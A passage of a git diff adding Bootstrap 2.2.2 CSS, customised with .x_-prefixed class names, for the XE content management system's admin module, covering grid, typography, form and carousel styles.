.x_carousel{position:relative;margin-bottom:20px;line-height:1} +.x .x_carousel-inner{position:relative;width:100%;overflow:hidden} +.x .x_carousel-inner>.x_item{position:relative;display:none;-webkit-transition:0.6s ease-in-out left;-moz-transition:0.6s ease-in-out left;-o-transition:0.6s ease-in-out left;transition:0.6s ease-in-out left} +.x .x_carousel-inner>.x_item>img{display:block;line-height:1} +.x .x_carousel-inner>.x_active, +.x .x_carousel-inner>.x_next, +.x .x_carousel-inner>.x_prev{display:block} +.x .x_carousel-inner>.x_active{left:0} +.x .x_carousel-inner>.x_next, +.x .x_carousel-inner>.x_prev{position:absolute;top:0;width:100%} +.x .x_carousel-inner>.x_next{left:100%} +.x .x_carousel-inner>.x_prev{left:-100%} +.x .x_carousel-inner>.x_next.x_left, +.x .x_carousel-inner>.x_prev.x_right{left:0} +.x .x_carousel-inner>.x_active.x_left{left:-100%} +.x .x_carousel-inner>.x_active.x_right{left:100%} +.x .x_carousel-control{position:absolute;top:40%;left:15px;width:40px;height:40px;margin-top:-20px;font-size:60px;font-weight:100;line-height:30px;color:#ffffff;text-align:center;background:#222222;border:3px solid #ffffff;-webkit-border-radius:23px;-moz-border-radius:23px;border-radius:23px;opacity:0.5;filter:alpha(opacity=50)} +.x .x_carousel-control.x_right{right:15px;left:auto} +.x .x_carousel-control:hover{color:#ffffff;text-decoration:none;opacity:0.9;filter:alpha(opacity=90)} +.x .x_carousel-caption{position:absolute;right:0;bottom:0;left:0;padding:15px;background:#333333;background:rgba(0, 0, 0, 0.75)} +.x .x_carousel-caption h4, +.x .x_carousel-caption p{line-height:20px;color:#ffffff} +.x .x_carousel-caption h4{margin:0 0 5px} +.x .x_carousel-caption p{margin-bottom:0} +.x .x_hero-unit{padding:60px;margin-bottom:30px;font-size:18px;font-weight:200;line-height:30px;color:inherit;background-color:#eeeeee;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px} +.x .x_hero-unit h1{margin-bottom:0;font-size:60px;line-height:1;letter-spacing:-1px;color:inherit} +.x .x_hero-unit li{line-height:30px} +.x .x_pull-right{float:right} +.x .x_pull-left{float:left} +.x .x_hide{display:none} +.x .x_show{display:block} +.x .x_invisible{visibility:hidden} +.x .x_affix{position:fixed} \ No newline at end of file diff --git a/modules/admin/tpl/css/admin.bootstrap.min.css b/modules/admin/tpl/css/admin.bootstrap.min.css new file mode 100644 index 000000000..c05c8103d --- /dev/null +++ b/modules/admin/tpl/css/admin.bootstrap.min.css @@ -0,0 +1,13 @@ +@charset "utf-8"; +/*! + * Bootstrap v2.2.2 + * + * Copyright 2012 Twitter, Inc + * Licensed under the Apache License v2.0 + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Designed and built with all the love in the world @twitter by @mdo and @fat. + * + * This file is customized for XE admin. + */ +.x{font-size:100%;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;line-height:20px;color:#333}.x article,.x aside,.x details,.x figcaption,.x figure,.x footer,.x header,.x hgroup,.x nav,.x section{display:block}.x audio,.x canvas,.x video{display:inline-block;*display:inline;*zoom:1;}.x audio:not([controls]){display:none}.x a:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.x a:hover,.x a:active{outline:0}.x sub,.x sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}.x sup{top:-.5em}.x sub{bottom:-.25em}.x img{width:auto\9;height:auto;max-width:100%;vertical-align:middle;border:0;-ms-interpolation-mode:bicubic}.x #map_canvas img,.x .google-maps img{max-width:none}.x button,.x input,.x select,.x textarea{margin:0;font-size:100%;vertical-align:middle}.x button,.x input{*overflow:visible;}.x button::-moz-focus-inner,.x input::-moz-focus-inner{padding:0;border:0}.x button,.x input[type="button"],.x input[type="reset"],.x input[type="submit"]{cursor:pointer;-webkit-appearance:button}.x label,.x select,.x button,.x input[type="button"],.x input[type="reset"],.x input[type="submit"],.x input[type="radio"],.x input[type="checkbox"]{cursor:pointer}.x input[type="search"]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}.x input[type="search"]::-webkit-search-decoration,.x input[type="search"]::-webkit-search-cancel-button{-webkit-appearance:none}.x textarea{overflow:auto;vertical-align:top}@media print{.x *{color:#000!important;text-shadow:none!important;background:transparent!important;box-shadow:none!important}.x a,.x a:visited{text-decoration:underline}.x a[href]:after{content:"("attr(href)")"}.x abbr[title]:after{content:"("attr(title)")"}.x .x_ir a:after,.x a[href^="javascript:"]:after,.x a[href^="#"]:after{content:""}.x pre,.x blockquote{border:1px solid #999;page-break-inside:avoid}.x thead{display:table-header-group}.x tr,.x img{page-break-inside:avoid}.x img{max-width:100%!important}@page{margin:.5cm}.x p,.x h2,.x h3{orphans:3;widows:3}.x h2,.x h3{page-break-after:avoid}}.x .x_clearfix{*zoom:1;}.x .x_clearfix:before,.x .x_clearfix:after{display:table;line-height:0;content:""}.x .x_clearfix:after{clear:both}.x .x_hide-text{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.x .x_input-block-level{display:block;width:100%;min-height:30px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.x a{color:#08c;text-decoration:none}.x a:hover{color:#005580;text-decoration:underline}.x .x_img-rounded{-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px}.x .x_img-polaroid{padding:4px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,.2);-webkit-box-shadow:0 1px 3px rgba(0,0,0,.1);-moz-box-shadow:0 1px 3px rgba(0,0,0,.1);box-shadow:0 1px 3px rgba(0,0,0,.1)}.x .x_img-circle{-webkit-border-radius:500px;-moz-border-radius:500px;border-radius:500px}.x .x_row{margin-left:-20px;*zoom:1;}.x .x_row:before,.x .x_row:after{display:table;line-height:0;content:""}.x .x_row:after{clear:both}.x [class*="x_span"]{float:left;min-height:1px;margin-left:20px}.x .x_container,.x .x_navbar-static-top .x_container,.x .x_navbar-fixed-top .x_container,.x .x_navbar-fixed-bottom .x_container{width:940px}.x .x_span12{width:940px}.x .x_span11{width:860px}.x .x_span10{width:780px}.x .x_span9{width:700px}.x .x_span8{width:620px}.x .x_span7{width:540px}.x .x_span6{width:460px}.x .x_span5{width:380px}.x .x_span4{width:300px}.x .x_span3{width:220px}.x .x_span2{width:140px}.x .x_span1{width:60px}.x .x_offset12{margin-left:980px}.x .x_offset11{margin-left:900px}.x .x_offset10{margin-left:820px}.x .x_offset9{margin-left:740px}.x .x_offset8{margin-left:660px}.x .x_offset7{margin-left:580px}.x .x_offset6{margin-left:500px}.x .x_offset5{margin-left:420px}.x .x_offset4{margin-left:340px}.x .x_offset3{margin-left:260px}.x .x_offset2{margin-left:180px}.x .x_offset1{margin-left:100px}.x .x_row-fluid{width:100%;*zoom:1;}.x .x_row-fluid:before,.x .x_row-fluid:after{display:table;line-height:0;content:""}.x .x_row-fluid:after{clear:both}.x .x_row-fluid [class*="x_span"]{display:block;float:left;width:100%;min-height:30px;margin-left:2.127659574468085%;*margin-left:2.074468085106383%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.x .x_row-fluid [class*="x_span"]:first-child{margin-left:0}.x .x_row-fluid .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:2.127659574468085%}.x .x_row-fluid .x_span12{width:100%;*width:99.94680851063829%;}.x .x_row-fluid .x_span11{width:91.48936170212765%;*width:91.43617021276594%;}.x .x_row-fluid .x_span10{width:82.97872340425532%;*width:82.92553191489361%;}.x .x_row-fluid .x_span9{width:74.46808510638297%;*width:74.41489361702126%;}.x .x_row-fluid .x_span8{width:65.95744680851064%;*width:65.90425531914893%;}.x .x_row-fluid .x_span7{width:57.44680851063829%;*width:57.39361702127659%;}.x .x_row-fluid .x_span6{width:48.93617021276595%;*width:48.88297872340425%;}.x .x_row-fluid .x_span5{width:40.42553191489362%;*width:40.37234042553192%;}.x .x_row-fluid .x_span4{width:31.914893617021278%;*width:31.861702127659576%;}.x .x_row-fluid .x_span3{width:23.404255319148934%;*width:23.351063829787233%;}.x .x_row-fluid .x_span2{width:14.893617021276595%;*width:14.840425531914894%;}.x .x_row-fluid .x_span1{width:6.382978723404255%;*width:6.329787234042553%;}.x .x_row-fluid .x_offset12{margin-left:104.25531914893617%;*margin-left:104.14893617021275%;}.x .x_row-fluid .x_offset12:first-child{margin-left:102.12765957446808%;*margin-left:102.02127659574467%;}.x .x_row-fluid .x_offset11{margin-left:95.74468085106382%;*margin-left:95.6382978723404%;}.x .x_row-fluid .x_offset11:first-child{margin-left:93.61702127659574%;*margin-left:93.51063829787232%;}.x .x_row-fluid .x_offset10{margin-left:87.23404255319149%;*margin-left:87.12765957446807%;}.x .x_row-fluid .x_offset10:first-child{margin-left:85.1063829787234%;*margin-left:84.99999999999999%;}.x .x_row-fluid .x_offset9{margin-left:78.72340425531914%;*margin-left:78.61702127659572%;}.x .x_row-fluid .x_offset9:first-child{margin-left:76.59574468085106%;*margin-left:76.48936170212764%;}.x .x_row-fluid .x_offset8{margin-left:70.2127659574468%;*margin-left:70.10638297872339%;}.x .x_row-fluid .x_offset8:first-child{margin-left:68.08510638297872%;*margin-left:67.9787234042553%;}.x .x_row-fluid .x_offset7{margin-left:61.70212765957446%;*margin-left:61.59574468085106%;}.x .x_row-fluid .x_offset7:first-child{margin-left:59.574468085106375%;*margin-left:59.46808510638297%;}.x .x_row-fluid .x_offset6{margin-left:53.191489361702125%;*margin-left:53.085106382978715%;}.x .x_row-fluid .x_offset6:first-child{margin-left:51.063829787234035%;*margin-left:50.95744680851063%;}.x .x_row-fluid .x_offset5{margin-left:44.68085106382979%;*margin-left:44.57446808510638%;}.x .x_row-fluid .x_offset5:first-child{margin-left:42.5531914893617%;*margin-left:42.4468085106383%;}.x .x_row-fluid .x_offset4{margin-left:36.170212765957444%;*margin-left:36.06382978723405%;}.x .x_row-fluid .x_offset4:first-child{margin-left:34.04255319148936%;*margin-left:33.93617021276596%;}.x .x_row-fluid .x_offset3{margin-left:27.659574468085104%;*margin-left:27.5531914893617%;}.x .x_row-fluid .x_offset3:first-child{margin-left:25.53191489361702%;*margin-left:25.425531914893618%;}.x .x_row-fluid .x_offset2{margin-left:19.148936170212764%;*margin-left:19.04255319148936%;}.x .x_row-fluid .x_offset2:first-child{margin-left:17.02127659574468%;*margin-left:16.914893617021278%;}.x .x_row-fluid .x_offset1{margin-left:10.638297872340425%;*margin-left:10.53191489361702%;}.x .x_row-fluid .x_offset1:first-child{margin-left:8.51063829787234%;*margin-left:8.404255319148938%;}.x [class*="x_span"].x_hide,.x .x_row-fluid [class*="x_span"].x_hide{display:none}.x [class*="x_span"].x_pull-right,.x .x_row-fluid [class*="x_span"].x_pull-right{float:right}.x .x_container{margin-right:auto;margin-left:auto;*zoom:1;}.x .x_container:before,.x .x_container:after{display:table;line-height:0;content:""}.x .x_container:after{clear:both}.x .x_container-fluid{padding-right:20px;padding-left:20px;*zoom:1;}.x .x_container-fluid:before,.x .x_container-fluid:after{display:table;line-height:0;content:""}.x .x_container-fluid:after{clear:both}.x p{margin:0 0 10px}.x .x_lead{margin-bottom:20px;font-size:21px;font-weight:200;line-height:30px}.x small{font-size:85%}.x strong{font-weight:bold}.x em{font-style:italic}.x cite{font-style:normal}.x .x_muted{color:#999}.x a.x_muted:hover{color:gray}.x .x_text-warning{color:#c09853}.x a.x_text-warning:hover{color:#a47e3c}.x .x_text-error{color:#b94a48}.x a.x_text-error:hover{color:#953b39}.x .x_text-info{color:#3a87ad}.x a.x_text-info:hover{color:#2d6987}.x .x_text-success{color:#468847}.x a.x_text-success:hover{color:#356635}.x h1,.x h2,.x h3,.x h4,.x h5,.x h6{margin:10px 0;font-family:inherit;font-weight:bold;line-height:20px;color:inherit;text-rendering:optimizelegibility}.x h1 small,.x h2 small,.x h3 small,.x h4 small,.x h5 small,.x h6 small{font-weight:normal;line-height:1;color:#999}.x h1,.x h2,.x h3{line-height:40px}.x h1{font-size:38.5px}.x h2{font-size:31.5px}.x h3{font-size:24.5px}.x h4{font-size:17.5px}.x h5{font-size:14px}.x h6{font-size:11.9px}.x h1 small{font-size:24.5px}.x h2 small{font-size:17.5px}.x h3 small{font-size:14px}.x h4 small{font-size:14px}.x .x_page-header{padding-bottom:9px;margin:20px 0 30px;border-bottom:1px solid #eee}.x ul,.x ol{padding:0;margin:0 0 10px 25px}.x ul ul,.x ul ol,.x ol ol,.x ol ul{margin-bottom:0}.x li{line-height:20px}.x ul.x_unstyled,.x ol.x_unstyled{margin-left:0;list-style:none}.x ul.x_inline,.x ol.x_inline{margin-left:0;list-style:none}.x ul.x_inline>li,.x ol.x_inline>li{display:inline-block;padding-right:5px;padding-left:5px}.x dl{margin-bottom:20px}.x dt,.x dd{line-height:20px}.x dt{font-weight:bold}.x dd{margin-left:10px}.x .x_dl-horizontal{*zoom:1;}.x .x_dl-horizontal:before,.x .x_dl-horizontal:after{display:table;line-height:0;content:""}.x .x_dl-horizontal:after{clear:both}.x .x_dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.x .x_dl-horizontal dd{margin-left:180px}.x hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}.x abbr[title],.x abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999}.x abbr.x_initialism{font-size:90%;text-transform:uppercase}.x blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eee}.x blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:25px}.x blockquote small{display:block;line-height:20px;color:#999}.x blockquote small:before{content:'\2014 \00A0'}.x blockquote.x_pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0}.x blockquote.x_pull-right p,.x blockquote.x_pull-right small{text-align:right}.x blockquote.x_pull-right small:before{content:''}.x blockquote.x_pull-right small:after{content:'\00A0 \2014'}.x q:before,.x q:after,.x blockquote:before,.x blockquote:after{content:""}.x address{display:block;margin-bottom:20px;font-style:normal;line-height:20px}.x code,.x pre{padding:0 3px 2px;font-family:Monaco,Menlo,Consolas,"Courier New",monospace;font-size:12px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x code{padding:2px 4px;color:#d14;white-space:nowrap;background-color:#f7f7f9;border:1px solid #e1e1e8}.x pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x pre.x_prettyprint{margin-bottom:20px}.x pre code{padding:0;color:inherit;white-space:pre;white-space:pre-wrap;background-color:transparent;border:0}.x .x_pre-scrollable{max-height:340px;overflow-y:scroll}.x form{margin:0 0 20px}.x fieldset{padding:0;margin:0;border:0}.x legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333;border:0;border-bottom:1px solid #e5e5e5}.x legend small{font-size:15px;color:#999}.x label,.x input,.x button,.x select,.x textarea{font-size:14px;font-weight:normal}.x input,.x button,.x select,.x textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}.x label{display:block;margin-bottom:5px}.x select,.x textarea,.x input[type="text"],.x input[type="password"],.x input[type="datetime"],.x input[type="datetime-local"],.x input[type="date"],.x input[type="month"],.x input[type="time"],.x input[type="week"],.x input[type="number"],.x input[type="email"],.x input[type="url"],.x input[type="search"],.x input[type="tel"],.x input[type="color"],.x .x_uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;color:#555;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x input,.x textarea,.x .x_uneditable-input{width:206px}.x textarea{height:auto}.x textarea,.x input[type="text"],.x input[type="password"],.x input[type="datetime"],.x input[type="datetime-local"],.x input[type="date"],.x input[type="month"],.x input[type="time"],.x input[type="week"],.x input[type="number"],.x input[type="email"],.x input[type="url"],.x input[type="search"],.x input[type="tel"],.x input[type="color"],.x .x_uneditable-input{background-color:#fff;border:1px solid #ccc;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}.x textarea:focus,.x input[type="text"]:focus,.x input[type="password"]:focus,.x input[type="datetime"]:focus,.x input[type="datetime-local"]:focus,.x input[type="date"]:focus,.x input[type="month"]:focus,.x input[type="time"]:focus,.x input[type="week"]:focus,.x input[type="number"]:focus,.x input[type="email"]:focus,.x input[type="url"]:focus,.x input[type="search"]:focus,.x input[type="tel"]:focus,.x input[type="color"]:focus,.x .x_uneditable-input:focus{border-color:rgba(82,168,236,.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6)}.x input[type="radio"],.x input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;*margin-top:0;line-height:normal}.x input[type="file"],.x input[type="image"],.x input[type="submit"],.x input[type="reset"],.x input[type="button"],.x input[type="radio"],.x input[type="checkbox"]{width:auto}.x select,.x input[type="file"]{height:30px;*margin-top:4px;line-height:30px}.x select{width:220px;background-color:#fff;border:1px solid #ccc}.x select[multiple],.x select[size]{height:auto}.x select:focus,.x input[type="file"]:focus,.x input[type="radio"]:focus,.x input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.x .x_uneditable-input,.x .x_uneditable-textarea{color:#999;cursor:not-allowed;background-color:#fcfcfc;border-color:#ccc;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.025);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.025);box-shadow:inset 0 1px 2px rgba(0,0,0,.025)}.x .x_uneditable-input{overflow:hidden;white-space:nowrap}.x .x_uneditable-textarea{width:auto;height:auto}.x input:-moz-placeholder,.x textarea:-moz-placeholder{color:#999}.x input:-ms-input-placeholder,.x textarea:-ms-input-placeholder{color:#999}.x input::-webkit-input-placeholder,.x textarea::-webkit-input-placeholder{color:#999}.x .x_radio,.x .x_checkbox{min-height:20px;padding-left:20px}.x .x_radio input[type="radio"],.x .x_checkbox input[type="checkbox"]{float:left;margin-left:-20px}.x .x_controls>.x_radio:first-child,.x .x_controls>.x_checkbox:first-child{padding-top:5px}.x .x_radio.x_inline,.x .x_checkbox.x_inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle}.x .x_radio.x_inline+.x_radio.x_inline,.x .x_checkbox.x_inline+.x_checkbox.x_inline{margin-left:10px}.x .x_input-mini{width:60px}.x .x_input-small{width:90px}.x .x_input-medium{width:150px}.x .x_input-large{width:210px}.x .x_input-xlarge{width:270px}.x .x_input-xxlarge{width:530px}.x input[class*="x_span"],.x select[class*="x_span"],.x textarea[class*="x_span"],.x .x_uneditable-input[class*="x_span"],.x .x_row-fluid input[class*="x_span"],.x .x_row-fluid select[class*="x_span"],.x .x_row-fluid textarea[class*="x_span"],.x .x_row-fluid .x_uneditable-input[class*="x_span"]{float:none;margin-left:0}.x .x_input-append input[class*="x_span"],.x .x_input-append .x_uneditable-input[class*="x_span"],.x .x_input-prepend input[class*="x_span"],.x .x_input-prepend .x_uneditable-input[class*="x_span"],.x .x_row-fluid input[class*="x_span"],.x .x_row-fluid select[class*="x_span"],.x .x_row-fluid textarea[class*="x_span"],.x .x_row-fluid .x_uneditable-input[class*="x_span"],.x .x_row-fluid .x_input-prepend [class*="x_span"],.x .x_row-fluid .x_input-append [class*="x_span"]{display:inline-block}.x input,.x textarea,.x .x_uneditable-input{margin-left:0}.x .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:20px}.x input.x_span12,.x textarea.x_span12,.x .x_uneditable-input.x_span12{width:926px}.x input.x_span11,.x textarea.x_span11,.x .x_uneditable-input.x_span11{width:846px}.x input.x_span10,.x textarea.x_span10,.x .x_uneditable-input.x_span10{width:766px}.x input.x_span9,.x textarea.x_span9,.x .x_uneditable-input.x_span9{width:686px}.x input.x_span8,.x textarea.x_span8,.x .x_uneditable-input.x_span8{width:606px}.x input.x_span7,.x textarea.x_span7,.x .x_uneditable-input.x_span7{width:526px}.x input.x_span6,.x textarea.x_span6,.x .x_uneditable-input.x_span6{width:446px}.x input.x_span5,.x textarea.x_span5,.x .x_uneditable-input.x_span5{width:366px}.x input.x_span4,.x textarea.x_span4,.x .x_uneditable-input.x_span4{width:286px}.x input.x_span3,.x textarea.x_span3,.x .x_uneditable-input.x_span3{width:206px}.x input.x_span2,.x textarea.x_span2,.x .x_uneditable-input.x_span2{width:126px}.x input.x_span1,.x textarea.x_span1,.x .x_uneditable-input.x_span1{width:46px}.x .x_controls-row{*zoom:1;}.x .x_controls-row:before,.x .x_controls-row:after{display:table;line-height:0;content:""}.x .x_controls-row:after{clear:both}.x .x_controls-row [class*="x_span"],.x .x_row-fluid .x_controls-row [class*="x_span"]{float:left}.x .x_controls-row .x_checkbox[class*="x_span"],.x .x_controls-row .x_radio[class*="x_span"]{padding-top:5px}.x input[disabled],.x select[disabled],.x textarea[disabled],.x input[readonly],.x select[readonly],.x textarea[readonly]{cursor:not-allowed;background-color:#eee}.x input[type="radio"][disabled],.x input[type="checkbox"][disabled],.x input[type="radio"][readonly],.x input[type="checkbox"][readonly]{background-color:transparent}.x .x_control-group.x_warning .x_control-label,.x .x_control-group.x_warning .x_help-block,.x .x_control-group.x_warning .x_help-inline{color:#c09853}.x .x_control-group.x_warning .x_checkbox,.x .x_control-group.x_warning .x_radio,.x .x_control-group.x_warning input,.x .x_control-group.x_warning select,.x .x_control-group.x_warning textarea{color:#c09853}.x .x_control-group.x_warning input,.x .x_control-group.x_warning select,.x .x_control-group.x_warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_warning input:focus,.x .x_control-group.x_warning select:focus,.x .x_control-group.x_warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #dbc59e}.x .x_control-group.x_warning .x_input-prepend .x_add-on,.x .x_control-group.x_warning .x_input-append .x_add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.x .x_control-group.x_error .x_control-label,.x .x_control-group.x_error .x_help-block,.x .x_control-group.x_error .x_help-inline{color:#b94a48}.x .x_control-group.x_error .x_checkbox,.x .x_control-group.x_error .x_radio,.x .x_control-group.x_error input,.x .x_control-group.x_error select,.x .x_control-group.x_error textarea{color:#b94a48}.x .x_control-group.x_error input,.x .x_control-group.x_error select,.x .x_control-group.x_error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_error input:focus,.x .x_control-group.x_error select:focus,.x .x_control-group.x_error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #d59392}.x .x_control-group.x_error .x_input-prepend .x_add-on,.x .x_control-group.x_error .x_input-append .x_add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.x .x_control-group.x_success .x_control-label,.x .x_control-group.x_success .x_help-block,.x .x_control-group.x_success .x_help-inline{color:#468847}.x .x_control-group.x_success .x_checkbox,.x .x_control-group.x_success .x_radio,.x .x_control-group.x_success input,.x .x_control-group.x_success select,.x .x_control-group.x_success textarea{color:#468847}.x .x_control-group.x_success input,.x .x_control-group.x_success select,.x .x_control-group.x_success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_success input:focus,.x .x_control-group.x_success select:focus,.x .x_control-group.x_success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7aba7b}.x .x_control-group.x_success .x_input-prepend .x_add-on,.x .x_control-group.x_success .x_input-append .x_add-on{color:#468847;background-color:#dff0d8;border-color:#468847}.x .x_control-group.x_info .x_control-label,.x .x_control-group.x_info .x_help-block,.x .x_control-group.x_info .x_help-inline{color:#3a87ad}.x .x_control-group.x_info .x_checkbox,.x .x_control-group.x_info .x_radio,.x .x_control-group.x_info input,.x .x_control-group.x_info select,.x .x_control-group.x_info textarea{color:#3a87ad}.x .x_control-group.x_info input,.x .x_control-group.x_info select,.x .x_control-group.x_info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_info input:focus,.x .x_control-group.x_info select:focus,.x .x_control-group.x_info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7ab5d3}.x .x_control-group.x_info .x_input-prepend .x_add-on,.x .x_control-group.x_info .x_input-append .x_add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad}.x input:focus:invalid,.x textarea:focus:invalid,.x select:focus:invalid{color:#b94a48;border-color:#ee5f5b}.x input:focus:invalid:focus,.x textarea:focus:invalid:focus,.x select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.x .x_form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1;}.x .x_form-actions:before,.x .x_form-actions:after{display:table;line-height:0;content:""}.x .x_form-actions:after{clear:both}.x .x_help-block,.x .x_help-inline{color:#595959}.x .x_help-block{display:block;margin-bottom:10px}.x .x_help-inline{display:inline-block;*display:inline;padding-left:5px;vertical-align:middle;*zoom:1;}.x .x_input-append,.x .x_input-prepend{margin-bottom:5px;font-size:0;white-space:nowrap}.x .x_input-append input,.x .x_input-prepend input,.x .x_input-append select,.x .x_input-prepend select,.x .x_input-append .x_uneditable-input,.x .x_input-prepend .x_uneditable-input,.x .x_input-append .x_dropdown-menu,.x .x_input-prepend .x_dropdown-menu{font-size:14px}.x .x_input-append input,.x .x_input-prepend input,.x .x_input-append select,.x .x_input-prepend select,.x .x_input-append .x_uneditable-input,.x .x_input-prepend .x_uneditable-input{position:relative;margin-bottom:0;*margin-left:0;vertical-align:top;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-append input:focus,.x .x_input-prepend input:focus,.x .x_input-append select:focus,.x .x_input-prepend select:focus,.x .x_input-append .x_uneditable-input:focus,.x .x_input-prepend .x_uneditable-input:focus{z-index:2}.x .x_input-append .x_add-on,.x .x_input-prepend .x_add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #fff;background-color:#eee;border:1px solid #ccc}.x .x_input-append .x_add-on,.x .x_input-prepend .x_add-on,.x .x_input-append .x_btn,.x .x_input-prepend .x_btn,.x .x_input-append .x_btn-group>.x_dropdown-toggle,.x .x_input-prepend .x_btn-group>.x_dropdown-toggle{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_input-append .x_active,.x .x_input-prepend .x_active{background-color:#a9dba9;border-color:#46a546}.x .x_input-prepend .x_add-on,.x .x_input-prepend .x_btn{margin-right:-1px}.x .x_input-prepend .x_add-on:first-child,.x .x_input-prepend .x_btn:first-child{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_input-append input,.x .x_input-append select,.x .x_input-append .x_uneditable-input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_input-append input+.x_btn-group .x_btn:last-child,.x .x_input-append select+.x_btn-group .x_btn:last-child,.x .x_input-append .x_uneditable-input+.x_btn-group .x_btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-append .x_add-on,.x .x_input-append .x_btn,.x .x_input-append .x_btn-group{margin-left:-1px}.x .x_input-append .x_add-on:last-child,.x .x_input-append 